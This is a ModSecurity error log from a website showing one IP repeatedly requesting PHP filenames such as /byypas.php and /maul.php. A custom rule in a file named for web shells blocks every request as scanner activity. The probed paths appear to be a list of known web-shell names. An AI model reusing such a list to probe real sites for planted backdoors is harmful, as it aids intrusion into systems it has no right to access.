[Fri Apr 10 23:46:49.523558 2026] [:error] [pid 62710:tid 62734] [client 20.251.194.172:18293] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/55b76.php"] [unique_id "adkbaeME7qrf5xEWWJtNZwAAAhU"]
[Fri Apr 10 23:46:50.846619 2026] [:error] [pid 62769:tid 62791] [client 20.251.194.172:56769] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/55b76.php"] [unique_id "adkbasWsSnfLoB8ifjDS7wAAAlQ"]
[Fri Apr 10 23:46:51.802467 2026] [:error] [pid 13189:tid 13204] [client 20.251.194.172:30354] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tt.php"] [unique_id "adkba5AxiJKPums3eBAXQgAAAEw"]
[Fri Apr 10 23:46:52.536404 2026] [:error] [pid 62769:tid 62773] [client 20.251.194.172:46834] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tt.php"] [unique_id "adkbbMWsSnfLoB8ifjDS_wAAAkI"]
[Fri Apr 10 23:46:53.258177 2026] [:error] [pid 62769:tid 62793] [client 20.251.194.172:25640] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tt.php"] [unique_id "adkbbcWsSnfLoB8ifjDTCAAAAlY"]
[Fri Apr 10 23:46:54.128877 2026] [:error] [pid 62769:tid 62789] [client 20.251.194.172:36248] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tt.php"] [unique_id "adkbbsWsSnfLoB8ifjDTFwAAAlI"]
[Fri Apr 10 23:46:54.725204 2026] [:error] [pid 62769:tid 62794] [client 20.251.194.172:56806] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/maul.php"] [unique_id "adkbbsWsSnfLoB8ifjDTJAAAAlc"]
[Fri Apr 10 23:46:55.570470 2026] [:error] [pid 13189:tid 13201] [client 20.251.194.172:25736] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/maul.php"] [unique_id "adkbb5AxiJKPums3eBAXUgAAAEk"]
[Fri Apr 10 23:46:56.125466 2026] [:error] [pid 62769:tid 62774] [client 20.251.194.172:18005] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/maul.php"] [unique_id "adkbcMWsSnfLoB8ifjDTNQAAAkM"]
[Fri Apr 10 23:46:56.752596 2026] [:error] [pid 62769:tid 62772] [client 20.251.194.172:47066] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/maul.php"] [unique_id "adkbcMWsSnfLoB8ifjDTPgAAAkE"]
[Fri Apr 10 23:46:57.337268 2026] [:error] [pid 62884:tid 62909] [client 20.251.194.172:31974] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/5b9ac.php"] [unique_id "adkbceUCK1xrhnnmpo2d-gAAAtI"]
[Fri Apr 10 23:49:21.057461 2026] [:error] [pid 62769:tid 62776] [client 20.251.194.172:18243] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jga.php"] [unique_id "adkcAcWsSnfLoB8ifjDV1QAAAkU"]
[Fri Apr 10 23:49:21.956328 2026] [:error] [pid 62710:tid 62732] [client 20.251.194.172:47072] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jga.php"] [unique_id "adkcAeME7qrf5xEWWJtOWgAAAhM"]
[Fri Apr 10 23:49:22.548272 2026] [:error] [pid 62710:tid 62728] [client 20.251.194.172:56704] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jga.php"] [unique_id "adkcAuME7qrf5xEWWJtOYQAAAg8"]
[Fri Apr 10 23:49:23.400876 2026] [:error] [pid 62710:tid 62721] [client 20.251.194.172:46816] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jga.php"] [unique_id "adkcA-ME7qrf5xEWWJtOZQAAAgg"]
[Fri Apr 10 23:49:24.218824 2026] [:error] [pid 62819:tid 62837] [client 20.251.194.172:25747] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs.php"] [unique_id "adkcBPU20EyPf7NlsleJzQAAAo8"]
[Fri Apr 10 23:49:24.848266 2026] [:error] [pid 13101:tid 13148] [client 20.251.194.172:46835] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs.php"] [unique_id "adkcBN8Ldw85818pj2oqeQAAAI8"]
[Fri Apr 10 23:49:25.410828 2026] [:error] [pid 13189:tid 13197] [client 20.251.194.172:31944] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs.php"] [unique_id "adkcBZAxiJKPums3eBAZ1QAAAEU"]
[Fri Apr 10 23:49:26.930692 2026] [:error] [pid 13101:tid 13146] [client 20.251.194.172:37582] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs.php"] [unique_id "adkcBt8Ldw85818pj2oqgQAAAI0"]
[Fri Apr 10 23:49:27.666086 2026] [:error] [pid 63134:tid 63150] [client 20.251.194.172:37597] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byypas.php"] [unique_id "adkcB9FALqPDwWi6eJLQ3QAAA80"]
[Fri Apr 10 23:49:28.414667 2026] [:error] [pid 13101:tid 13153] [client 20.251.194.172:18041] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byypas.php"] [unique_id "adkcCN8Ldw85818pj2oqjAAAAJQ"]
[Fri Apr 10 23:49:29.174811 2026] [:error] [pid 62819:tid 62838] [client 20.251.194.172:18012] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byypas.php"] [unique_id "adkcCfU20EyPf7NlsleJzgAAApA"]
[Fri Apr 10 23:49:31.878034 2026] [:error] [pid 13189:tid 13193] [client 20.251.194.172:31953] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byypas.php"] [unique_id "adkcC5AxiJKPums3eBAZ5gAAAEE"]
[Fri Apr 10 23:49:32.408144 2026] [:error] [pid 13101:tid 13151] [client 20.251.194.172:56755] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/b.php"] [unique_id "adkcDN8Ldw85818pj2oqmQAAAJI"]
[Fri Apr 10 23:49:33.112560 2026] [:error] [pid 13189:tid 13215] [client 20.251.194.172:14598] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/b.php"] [unique_id "adkcDZAxiJKPums3eBAZ7QAAAFc"]
[Fri Apr 10 23:49:33.723666 2026] [:error] [pid 62769:tid 62779] [client 20.251.194.172:31958] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/b.php"] [unique_id "adkcDcWsSnfLoB8ifjDV-gAAAkg"]
[Fri Apr 10 23:49:34.360544 2026] [:error] [pid 13100:tid 13125] [client 20.251.194.172:46843] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/b.php"] [unique_id "adkcDlzg-ZkZ0InWIP3VAAAAARQ"]
[Fri Apr 10 23:49:35.000720 2026] [:error] [pid 13189:tid 13210] [client 20.251.194.172:18295] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blog-header.php"] [unique_id "adkcDpAxiJKPums3eBAZ8wAAAFI"]
[Fri Apr 10 23:49:35.827152 2026] [:error] [pid 13101:tid 13140] [client 20.251.194.172:37592] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blog-header.php"] [unique_id "adkcD98Ldw85818pj2oqpgAAAIc"]
[Fri Apr 10 23:49:36.390121 2026] [:error] [pid 62710:tid 62720] [client 20.251.194.172:25786] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blog-header.php"] [unique_id "adkcEOME7qrf5xEWWJtOdgAAAgc"]
[Fri Apr 10 23:49:37.027127 2026] [:error] [pid 62710:tid 62721] [client 20.251.194.172:18271] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blog-header.php"] [unique_id "adkcEeME7qrf5xEWWJtOegAAAgg"]
[Fri Apr 10 23:49:37.786665 2026] [:error] [pid 13189:tid 13211] [client 20.251.194.172:36228] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bgymj.php"] [unique_id "adkcEZAxiJKPums3eBAZ-wAAAFM"]
[Fri Apr 10 23:49:38.381223 2026] [:error] [pid 63062:tid 63084] [client 20.251.194.172:25649] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bgymj.php"] [unique_id "adkcEp2HtsmV85NqkMcW5gAAA5Q"]
[Fri Apr 10 23:49:39.091042 2026] [:error] [pid 13101:tid 13156] [client 20.251.194.172:18022] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bgymj.php"] [unique_id "adkcE98Ldw85818pj2oqsAAAAJc"]
[Fri Apr 10 23:49:39.712873 2026] [:error] [pid 63062:tid 63078] [client 20.251.194.172:18278] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bgymj.php"] [unique_id "adkcE52HtsmV85NqkMcW6AAAA44"]
[Fri Apr 10 23:49:40.413129 2026] [:error] [pid 63062:tid 63064] [client 20.251.194.172:56746] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gfd.php"] [unique_id "adkcFJ2HtsmV85NqkMcW6wAAA4A"]
[Fri Apr 10 23:49:40.943282 2026] [:error] [pid 13189:tid 13205] [client 20.251.194.172:31973] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gfd.php"] [unique_id "adkcFJAxiJKPums3eBAaCAAAAE0"]
[Fri Apr 10 23:49:41.460416 2026] [:error] [pid 13101:tid 13157] [client 20.251.194.172:14635] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gfd.php"] [unique_id "adkcFd8Ldw85818pj2oqugAAAJg"]
[Fri Apr 10 23:49:42.108217 2026] [:error] [pid 13101:tid 13138] [client 20.251.194.172:25732] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gfd.php"] [unique_id "adkcFt8Ldw85818pj2oqvQAAAIU"]
[Fri Apr 10 23:49:42.769051 2026] [:error] [pid 63134:tid 63157] [client 20.251.194.172:56790] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/callback.php"] [unique_id "adkcFtFALqPDwWi6eJLQ5wAAA9Q"]
[Fri Apr 10 23:49:45.610319 2026] [:error] [pid 13100:tid 13126] [client 20.251.194.172:37612] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/callback.php"] [unique_id "adkcGVzg-ZkZ0InWIP3VBgAAARU"]
[Fri Apr 10 23:49:46.166651 2026] [:error] [pid 13101:tid 13152] [client 20.251.194.172:37625] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/callback.php"] [unique_id "adkcGt8Ldw85818pj2oqzwAAAJM"]
[Fri Apr 10 23:49:46.713878 2026] [:error] [pid 62769:tid 62777] [client 20.251.194.172:18244] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/callback.php"] [unique_id "adkcGsWsSnfLoB8ifjDWBAAAAkY"]
[Fri Apr 10 23:49:47.389849 2026] [:error] [pid 63134:tid 63140] [client 20.251.194.172:30364] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "adkcG9FALqPDwWi6eJLQ6gAAA8M"]
[Fri Apr 10 23:49:49.091971 2026] [:error] [pid 13101:tid 13137] [client 20.251.194.172:56754] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "adkcHd8Ldw85818pj2oq3AAAAIQ"]
[Fri Apr 10 23:49:49.618651 2026] [:error] [pid 62769:tid 62773] [client 20.251.194.172:47088] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "adkcHcWsSnfLoB8ifjDWCgAAAkI"]
[Fri Apr 10 23:49:50.153036 2026] [:error] [pid 62769:tid 62778] [client 20.251.194.172:14592] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "adkcHsWsSnfLoB8ifjDWDAAAAkc"]
[Fri Apr 10 23:49:50.735005 2026] [:error] [pid 62884:tid 62903] [client 20.251.194.172:30343] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bolt.php"] [unique_id "adkcHuUCK1xrhnnmpo2ebQAAAsw"]
[Fri Apr 10 23:49:51.340753 2026] [:error] [pid 62769:tid 62779] [client 20.251.194.172:56715] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bolt.php"] [unique_id "adkcH8WsSnfLoB8ifjDWEAAAAkg"]
[Fri Apr 10 23:49:52.617062 2026] [:error] [pid 63062:tid 63082] [client 20.251.194.172:25764] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bolt.php"] [unique_id "adkcIJ2HtsmV85NqkMcXBgAAA5I"]
[Fri Apr 10 23:49:53.140009 2026] [:error] [pid 13101:tid 13133] [client 20.251.194.172:36083] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bolt.php"] [unique_id "adkcId8Ldw85818pj2oq6gAAAIA"]
[Fri Apr 10 23:49:53.711098 2026] [:error] [pid 62769:tid 62789] [client 20.251.194.172:56801] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blogs.php"] [unique_id "adkcIcWsSnfLoB8ifjDWHgAAAlI"]
[Fri Apr 10 23:49:54.376633 2026] [:error] [pid 62769:tid 62777] [client 20.251.194.172:25743] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blogs.php"] [unique_id "adkcIsWsSnfLoB8ifjDWHwAAAkY"]
[Fri Apr 10 23:49:55.126543 2026] [:error] [pid 62819:tid 62845] [client 20.251.194.172:47040] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blogs.php"] [unique_id "adkcI_U20EyPf7NlsleJ5QAAApc"]
[Fri Apr 10 23:49:56.003389 2026] [:error] [pid 63134:tid 63149] [client 20.251.194.172:37590] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blogs.php"] [unique_id "adkcJNFALqPDwWi6eJLQ-gAAA8w"]
[Fri Apr 10 23:49:56.541577 2026] [:error] [pid 13101:tid 13136] [client 20.251.194.172:25646] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zlnckdxn.php"] [unique_id "adkcJN8Ldw85818pj2oq_gAAAIM"]
[Fri Apr 10 23:49:57.170066 2026] [:error] [pid 13101:tid 13144] [client 20.251.194.172:36249] [client 20.251.194.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zlnckdxn.php"] [unique_id "adkcJd8Ldw85818pj2orCAAAAIs"]
